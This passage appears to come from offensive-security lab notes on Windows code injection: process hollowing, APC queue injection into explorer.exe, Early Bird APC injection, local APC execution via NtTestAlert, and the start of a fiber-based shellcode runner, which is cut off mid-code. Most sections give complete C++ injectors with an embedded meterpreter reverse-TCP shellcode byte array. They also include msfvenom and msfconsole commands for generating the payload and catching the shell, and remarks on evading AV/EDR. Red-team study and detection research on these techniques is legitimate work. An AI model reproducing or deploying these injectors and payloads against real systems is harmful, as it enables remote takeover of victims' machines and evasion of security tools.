} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

int main()
{
	// create destination process - this is the process to be hollowed out
	LPSTARTUPINFOA si = new STARTUPINFOA();
	LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
	PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
	DWORD returnLenght = 0;
	CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
	HANDLE destProcess = pi->hProcess;

	// get destination imageBase offset address from the PEB
	NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
	DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8; 
	
	// get destination imageBaseAddress
	LPVOID destImageBase = 0;
	SIZE_T bytesRead = NULL;
	ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);

	// read source file - this is the file that will be executed inside the hollowed process
	HANDLE sourceFile = CreateFileA("C:\\temp\\regshot.exe", GENERIC_READ,	NULL, NULL, OPEN_ALWAYS, NULL, NULL);
	DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
	LPDWORD fileBytesRead = 0;
	LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
	ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
	
	// get source image size
	PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
	PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
	SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;

	// carve out the destination image
	NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
	myNtUnmapViewOfSection(destProcess, destImageBase);

	// allocate new memory in destination image for the source image
	LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	destImageBase = newDestImageBase;

	// get delta between sourceImageBaseAddress and destinationImageBaseAddress
	DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

	// set sourceImageBase to destImageBase and copy the source Image headers to the destination image
	sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
	WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

	// get pointer to first source image section
	PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
	PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
	int err = GetLastError();

	// copy source image sections to destination
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection->VirtualAddress);
		PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
		WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
		sourceImageSection++;
	}

	// get address of the relocation table
	IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	
	// patch the binary with relocations
	sourceImageSection = sourceImageSectionOld;
	for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
	{
		BYTE* relocSectionName = (BYTE*)".reloc";
		if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) 
		{
			sourceImageSection++;
			continue;
		}

		DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
		DWORD relocationOffset = 0;

		while (relocationOffset < relocationTable.Size) {
			PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
			relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
			DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
			PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

			for (DWORD y = 0; y < relocationEntryCount; y++)
			{
				relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

				if (relocationEntries[y].Type == 0)
				{
					continue;
				}

				DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
				DWORD patchedBuffer = 0;
				ReadProcessMemory(destProcess,(LPCVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
				patchedBuffer += deltaImageBase;

				WriteProcessMemory(destProcess,	(PVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), fileBytesRead);
				int a = GetLastError();
			}
		}
	}

	// get context of the dest process thread
	LPCONTEXT context = new CONTEXT();
	context->ContextFlags = CONTEXT_INTEGER;
	GetThreadContext(pi->hThread, context);

	// update dest image entry point to the new entry point of the source image and resume dest image thread
	DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
	context->Eax = patchedEntryPoint;
	SetThreadContext(pi->hThread, context);
	ResumeThread(pi->hThread);

	return 0;
}

```

{% endcode %}

## References

{% embed url="<https://github.com/m0n0ph1/Process-Hollowing>" %}

What an amazing resource for those interested in detecting process hollowing using memory forensics techniques:

{% embed url="<https://cysinfo.com/detecting-deceptive-hollowing-techniques/>" %}

{% embed url="<https://attack.mitre.org/techniques/T1093/>" %}

{% embed url="<https://github.com/peperunas/injectopi/tree/master/FullCopy>" %}

{% content-ref url="/pages/-LQPhLIg2HTVSIbKB2tQ" %}
[Parsing PE File Headers with C++](/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++)
{% endcontent-ref %}


# APC Queue Code Injection

This lab looks at the APC (Asynchronous Procedure Calls) queue code injection - a well known technique I had not played with in the past.

Some simplified context around threads and APC queues:

* Threads execute code within processes
* Threads can execute code asynchronously by leveraging APC queues
* Each thread has a queue that stores all the APCs
* Application can queue an APC to a given thread (subject to privileges)
* When a thread is scheduled, queued APCs get executed
* Disadvantage of this technique is that the malicious program cannot force the victim thread to execute the injected code - the thread to which an APC was queued to, needs to enter/be in an [alertable](/offensive-security/code-injection-process-injection/apc-queue-code-injection#alertable-state) state (i.e [`SleepEx`](https://msdn.microsoft.com/en-us/library/ms686307\(v=VS.85\).aspx)), but you may want to check out [Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert](/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert)

## Execution

A high level overview of how this lab works:

* Write a C++ program apcqueue.exe that will:
  * Find explorer.exe process ID
  * Allocate memory in explorer.exe process memory space
  * Write shellcode to that memory location
  * Find all threads in explorer.exe
  * Queue an APC to all those threads. APC points to the shellcode
* Execute the above program
* When threads in explorer.exe get scheduled, our shellcode gets executed
* Rain of meterpreter shells

Let's start by creating a meterpreter shellcode to be injected into the victim process:

{% code title="attacker\@kali" %}

```csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c
```

{% endcode %}

![](/files/-LfndZW7ypQcVQGTuvis)

I will be injecting the shellcode into `explorer.exe` since there's usually a lot of thread activity going on, so there is a better chance to encounter a thread in an alertable state that will kick off the shellcode. I will find the process I want to inject into with `Process32First` and `Process32Next` calls:

![](/files/-LfoY-Pj-g8AqbrSPoSn)

Once explorer PID is found, we need to get a handle to the explorer.exe process and allocate some memory for the shellcode. The shellcode is written to explorer's process memory and additionally, an APC routine, which now points to the shellcode, is declared:

![](/files/-LfoU260AWbpqj5zWz84)

If we compile and execute `apcqueue.exe`, we can indeed see the shellcode gets injected into the process successully:

![](/files/-Lfo7-fb2ZlNB_PuPl3A)

A quick detour - the below shows a screenshot from the Process Hacker where our malicious program has a handle to explorer.exe - good to know for debugging and troubleshooting:

![](/files/-Lfo7Nrn8-vo64Jgk40K)

Back to the code - we can now enumerate all threads of explorer.exe and queue an APC (points to the shellcode) to them:

![sleep for some throttling](/files/-LfoVNJW9GHyrTzeO870)

Switching gears to the attacking machine - let's fire up a multi handler and set an `autorunscript` to migrate meterpreter sessions to some other process before they die with the dying threads:

{% code title="attacker\@kali" %}

```csharp
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"
set autorunscript post/windows/manage/migrate
```

{% endcode %}

Once the `apcqueue` is compiled and run,  a meterpreter session is received - the technique worked:

![](/files/-Lfo9Md7-WtyzdeA0gdU)

## States

As mentioned earlier, in order for the APC code injection to work, the thread to which an APC is queued, needs to be in an `alertable` state.&#x20;

To get a better feel of what this means, I created another project called `alertable` that only did one thing - slept for 60 seconds. The application was sent to sleep using (note the important second parameter):

```cpp
DWORD SleepEx(
  DWORD dwMilliseconds,
  BOOL  bAlertable
);
```

Let's put the new project to sleep in both alertable and non-alertable states and see what heppens when an APC is queued to it.

### Alertable State

Let's compile the `alertable.exe` binary with `bAleertable = true` first and then launch the `apcqueue.exe`.&#x20;

Since `alertable.exe` was in an alertable state, the code got executed immediately and a meterpreter session was established:

![](/files/-LfoJ0zGWBXagV9Xdgzj)

### Non-Alertable State

Now let's recompile `alertable.exe` with `bAlertable == false` and try again - shellcode does not get executed:

![](/files/-LfoKPzUx435ipIK1c62)

## Powershell -sta

An interesting observation is that if you try injecting into powershell.exe which was started with a `-sta` switch (Single Thread Apartment), we do not need to spray the APC across all its threads - main thread is enough and gives a reliable shell:

![](/files/-LftvWHb7-zR3hF5KdRR)

Note that the injected powershell process becomes unresponsive.&#x20;

## Code

{% code title="apcqueue.cpp" %}

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}
	
	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}
	
	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}
	
	return 0;
}
```

{% endcode %}

## References

{% embed url="<https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/>" %}

{% embed url="<http://rinseandrepeatanalysis.blogspot.com/2019/04/early-bird-injection-apc-abuse.html?m=1>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/sync/asynchronous-procedure-calls>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-queueuserapc>" %}


# Early Bird APC Queue Code Injection

This short lab is related to a different version of the APC queue code injection technique I tinkered with here:

{% content-ref url="/pages/-LfnaRDQgb93k66YomoO" %}
[APC Queue Code Injection](/offensive-security/code-injection-process-injection/apc-queue-code-injection)
{% endcontent-ref %}

## Overview

High level overview of the technique:

1. A malicious program creates a new legitimate process (say calc.exe) in a suspended state
2. Memory for shellcode is allocated in the newly created process's memory space
3. APC routine pointing to the shellcode is declared
4. Shellcode is written to the previously allocated memory
5. APC is queued to the main thread (currently in `suspended` state)
6. Thread is resumed and the shellcode is executed
7. Meterpreter session established

One of the main advantages of this technique over the regular APC Queue code injection, is that in Early Bird technique, the malicious behaviour takes place early on in the process initialization phase, increasing the likelihood of going under the radar of some AV/EDR hooks.

## Execution

Below image (top) shows that I've hit the breakpoint on line 19, meaning that a new `calc.exe` process has been created in a `suspended` state (defined in line 15).

If we check the newly started `calc.exe` in the Process Hacker, we can confirm that the main thread is indeed `suspended` (bottom):

![](/files/-LftNZwNOfcGmXl_Tdt_)

After line 19 is executed, we get the address of the newly allocated memory. This is where the shellcode will be written to:

```cpp
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
```

![](/files/-LftNtR3G_ZLHFhOWJZs)

Below shows how the shellcode gets written to memory address `0000023b82480000` of the `calc.exe` with:

```cpp
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
```

![](/files/-LftOsES0CEcqNUl6OkH)

Before continuing, let's fire up a multi handler on the attacking system so we can catch the meterpreter session:

{% code title="attacker\@kali" %}

```csharp
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"
```

{% endcode %}

Back to executing the malicious code - once the shellcode is written into the process memory, the APC is queued to the thread which is then immediately resumed. Resuming the thread in turn executes the shellcode which results in a meterpreter session:

![](/files/-LftPHyL3yEQ-ebHuDLx)

## Code

{% code title="earlybird-apc.cpp" %}

```cpp
#include "pch.h"
#include <Windows.h>

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	SIZE_T shellSize = sizeof(buf);
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = {0};

	CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	HANDLE victimProcess = pi.hProcess;
	HANDLE threadHandle = pi.hThread;
	
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
	QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);	
	ResumeThread(threadHandle);

	return 0;
}
```

{% endcode %}

## References

{% embed url="<https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/>" %}

{% embed url="<https://www.youtube.com/watch?time_continue=29&v=_sI76NLPMjI>" %}


# Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert

This is a quick lab that shows how to execute shellcode within a local process by leveraging a Win32 API `QueueUserAPC` and an officially undocumented Native API `NtTestAlert`, which lands in kernel that calls `KiUserApcDispatcher` if the APC queue is not empty.

The advantage of this technique is that it does not rely on `CreateThread` or `CreateRemoteThread` API calls which are more popular and hence usually more scrutinized by SOCs and AV/EDR vendors.

Thanks to [Mumbai](https://twitter.com/win64_) for pointing me to `NtTestAlert`.

## Execution

The flow of the technique is simple:

1. Allocate memory in the local process for the shellcode
2. Write shellcode to the newly allocated memory location
3. Queue an APC to the current thread
4. Issue `NtTestAlert`
5. Receive meterpreter session

Lets's generate the meterpreter shellcode first:

{% code title="attacker\@kali" %}

```csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c
```

{% endcode %}

![](/files/-LfuVcKDmUV074Jexy0K)

Short code that performs `NtTestAlert` function address resolution, memory allocation, shellcode writing to memory, APC queuing and `NtTestAlert` call:

![](/files/-LfuYdX-VIWcPqc0-WfG)

Now, set up a multi handler for catching the incoming meterpreter connection:

{% code title="attacker\@kali" %}

```csharp
msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"
```

{% endcode %}

Below shows the technique in action, resulting in a meterpreter shell:

![](/files/-Lfu_Xc6Owhfozug-qUe)

## Code

{% code title="local-apc.cpp" %}

```cpp
#include "pch.h"
#include <Windows.h>

#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
	SIZE_T shellSize = sizeof(buf);
	LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);
	
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
	testAlert();

	return 0;
}
```

{% endcode %}

## Reference

{% embed url="<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FAPC%2FNtTestAlert.html>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-queueuserapc>" %}


# Shellcode Execution through Fibers

## Overview

The purpose of this lab is to use Windows APIs targetting `fibers` to execute shellcode in a local process.

> &#x20;A *fiber* is a unit of execution that must be manually scheduled by the application. Fibers run in the context of the threads that schedule them. \
> <https://docs.microsoft.com/en-us/windows/win32/procthread/fibers>

## Technique

The process of the executing shellcode in a local process through fibers:

1. Convert the main thread to a fiber. This is required, because only one fiber can schedule another fiber.
2. Write shellcode to some memory location and make it executable
3. Create a new fiber that points to the shellcode location - this is the fiber we will be scheduling from the fiber we got in step 1 when converting the main thread to a fiber.
4. Schedule the newly created fiber that points to our shellcode
5. The fiber gets scheduled and shellcode executes

## Code

Below is the code showing how to execute the shellcode using fibers:

```cpp
#include <Windows.h>

int main()
{
	#convert main thread to fiber
	PVOID mainFiber = ConvertThreadToFiber(NULL);

